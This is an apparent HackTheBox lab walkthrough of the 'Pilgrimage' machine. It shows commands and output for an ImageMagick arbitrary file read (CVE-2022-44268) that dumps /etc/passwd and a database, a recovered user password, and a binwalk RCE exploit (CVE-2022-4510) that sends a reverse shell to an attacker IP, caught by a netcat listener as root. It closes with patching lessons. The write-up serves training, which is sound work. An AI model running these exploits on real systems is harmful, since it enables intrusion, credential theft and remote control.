Pilgrimage is a HacktheBox machine which focuses on outdated components and software with vulnerabilities, it’s a fun box with some great lessons to learn, so let’s dive in!
Gaining user access
First of all, we’ll add pilgrimage.htb to /etc/hosts, and run an nmap…
└──╼ $nmap pilgrimage.htb -sC -sV -p -
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-08 11:18 GMT
Nmap scan report for pilgrimage.htb (10.129.66.193)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
| 256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
|_ 256 d14e293c708669b4d72cc80b486e9804 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 10.129.66.193:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.67 seconds
As is often the case with HTB, we have SSH open on 22, and HTTP on 80. Right away we can also see that the PHPSESSID cookie is not set to HTTPonly - let’s keep a note of that, it might be useful.
Most interesting, however - there’s also a git repo available!
We’ll use gitdumper to grab the contents of the repo
git-dumper http://pilgrimage.htb/.git/ git
Before we go any further with this, let’s get a sense of what the website does.
A free online image shrinker - It does exactly what you’d think, takes an image, shrinks it, and gives you a new URL. From previous HTB boxes I’m instantly thinking of ImageMagick which has suffered from several significant vulnerabilities.
Let’s bounce back to the code and have a look for any leads:
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
Indeed, it is using ImageMagick - and further exploring the code we can see that it’s a vulnerable version - 7.1.0–49, which suffers from an arbitrary file read issue. There’s an excellent POC here: https://github.com/voidz0r/CVE-2022-44268 which will automate most of the exploitation for us. We simply need to pass it either an image to modify or the location of an image to retrieve.
Firstly, let’s grab any image - weaponize it, and upload it to the site:
$python3 CVE-2022-44268.py --image chicken.png --file-to-read /etc/passwd --output chicko.png
Now we’ll feed the URL we’re given back to the exploit to read the arbitrary file.
$python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/654b8c5bb0e01.png
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
While this is a huge issue in terms of information disclosure, it won’t give us access to the box alone.
Let’s jump back to the code and keep exploring. One thing which is always worth exploring is how an application interfaces with backend services - the most common example of this is usually going to be a database. Do we have a database in this instance?
Indeed we do:
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("INSERT INTO `users` (username,password) VALUES (?,?)");
$status = $stmt->execute(array($username,$password));
We can see that the application is using an sqlite database, as well as the location of the database data itself. The database will consist of raw hex data rather than a human readable format, but we’ll cross that bridge when we come to it. Can we grab the database data:
$python3 CVE-2022-44268.py --image chicken.png --file-to-read /var/db/pilgrimage --output db.png
$wget http://pilgrimage.htb/shrunk/654b922ee2985.png
--2023-11-08 13:51:13-- http://pilgrimage.htb/shrunk/654b922ee2985.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.66.193
Connecting to pilgrimage.htb (pilgrimage.htb)|10.129.66.193|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34052 (33K) [image/png]
Saving to: ‘654b922ee2985.png’
654b922ee2985.png 100%[====================================================================================================>] 33.25K --.-KB/s in 0.04s
2023-11-08 13:51:13 (918 KB/s) - ‘654b922ee2985.png’ saved [34052/34052]
$identify -verbose 654b922ee2985.png
Image: 654b922ee2985.png
Format: PNG (Portable Network Graphics)
Geometry: 110x173
Class: DirectClass
Type: true color with transparency
Depth: 8 bits-per-pixel component
Channel Depths:
Red: 8 bits
Green: 8 bits
Blue: 8 bits
Opacity: 8 bits
Channel Statistics:
Red:
Minimum: 0.00 (0.0000)
Maximum: 65535.00 (1.0000)
Mean: 34155.99 (0.5212)
Standard Deviation: 27725.52 (0.4231)
Green:
Minimum: 0.00 (0.0000)
Maximum: 65535.00 (1.0000)
Mean: 25088.35 (0.3828)
Standard Deviation: 21176.40 (0.3231)
Blue:
Minimum: 0.00 (0.0000)
Maximum: 65535.00 (1.0000)
Mean: 18851.97 (0.2877)
Standard Deviation: 17078.94 (0.2606)
Opacity:
Minimum: 0.00 (0.0000)
Maximum: 65535.00 (1.0000)
Mean: 31610.54 (0.4823)
Standard Deviation: 32060.29 (0.4892)
Opacity: ( 0, 0, 0,255) #000000FF
Gamma: 0.45455
Chromaticity:
red primary: (0.64,0.33)
green primary: (0.3,0.6)
blue primary: (0.15,0.06)
white point: (0.3127,0.329)
Filesize: 33.3Ki
Interlace: No
Orientation: Unknown
Background Color: white
Border Color: #DFDFDF00
Matte Color: #BDBDBD00
Page geometry: 110x173+0+0
Compose: Over
Dispose: Undefined
Iterations: 0
Compression: Zip
Png:IHDR.color-type-orig: 6
Png:IHDR.bit-depth-orig: 8
Raw profile type:
20480
53514c69746520666f726d617420330010000101004020200000004c0000000500000000
000000000000000400000004000000000000000000000001000000000000000000000000
00000000000000000000000000000000000000000000004c002e4b910d0ff800040eba00
0f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
[snip]
Why, yes we can! Using the “identify -verbose” command we can dump detailed information about the file in question - the exploit we used earlier wants to handle human readable data, but in this case was just after the original hex.
From here, I initially tried to re-import the data into an sqlite3 database, but then it occurred to me that all I really needed to do was read the data, not interact with it - so I could probably just throw it into cyberchef!
Indeed, that’s good enough - we can recover some credentials we find credentials, emily/abigchonkyboi123
We won’t speculate on what this password selection says about Emily -but we will bet that she’s reused these credentials, and she has. we can SSH into the box.
Privilege escalation to root
Using lse.sh for privilege escalation enumeration (and making use of the really handy built-in process monitor), we discover that the root user is regularly executing a file named malwarescan.sh - Additionally, we have read permissions for that file, so let’s check it out:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
This script is attempting to prevent the processing of executable files by using binwalk to detect the type of file, and then deleting it if the filename matches the banned list - A quick Google shows that there are numerous exploits for binwalk, including an especially looking CVE, CVE-2022-4510. According to the CVE “A path traversal vulnerability was identified in ReFirm Labs binwalk from version 2.1.2b through 2.3.3 included. By crafting a malicious PFS filesystem file, an attacker can get binwalk’s PFS extractor to extract files at arbitrary locations when binwalk is run in extraction mode (-e option). Remote code execution can be achieved by building a PFS filesystem that, upon extraction, would extract a malicious binwalk module into the folder .config/binwalk/plugins. This vulnerability is associated with program files src/binwalk/plugins/unpfs.py. This issue affects binwalk from 2.1.2b through 2.3.3 included.”
Well what do you know, we have binwalk version 2.3.2! There are a couple of good exploits for this, including this one: https://github.com/electr0sm0g/CVE-2022-4510/blob/main/RCE_Binwalk.py Again this is fairly straightforward, poison an image file, drop it into a path where binwalk will inspect it and wait for the command to execute.
Let’s clone the repo, and run the script:
python3 binwalk.py chick.png 10.10.14.25 4343
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
From here, we simply drop this file into the path where binwalk is expecting files, and wait for the script to run:
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/binwalk.png
Start a listener, and after a second we receive a shell :)
$nc -nvlp 4343
listening on [any] 4343 ...
connect to [10.10.14.25] from (UNKNOWN) [10.129.66.193] 59908
whoami
root
Avoiding the Hack - Lessons learned
So let’s now take a look at the vulnerabilities we found, and how they could have been avoided.
This whole box was essentially a lesson in the risks associated with using outdated components and software with vulnerabilities. In both cases, the issue wasn’t with the application the developer produced, but rather a third-party component which they relied upon. With the best will in the world, it’s impossible to avoid issues like this - while it’s a good idea to be selective about your choice of components, there’s no question that neither ImageMagick or Binwalk intentionally introduced vulnerabilities into their software and while ImageMagick has had its fair share of issues, you wouldn’t criticise a developer for using either of these popular components. Both of these issues were simply issues which were discovered and which were quickly patched - routine stuff.
The real problem then was a lack of proper vulnerability management - the lesson here is that your vulnerability management program firstly needs to exist, but secondly needs to take account of third-party components that your software relies on. When issues arise, it’s critical to patch quickly!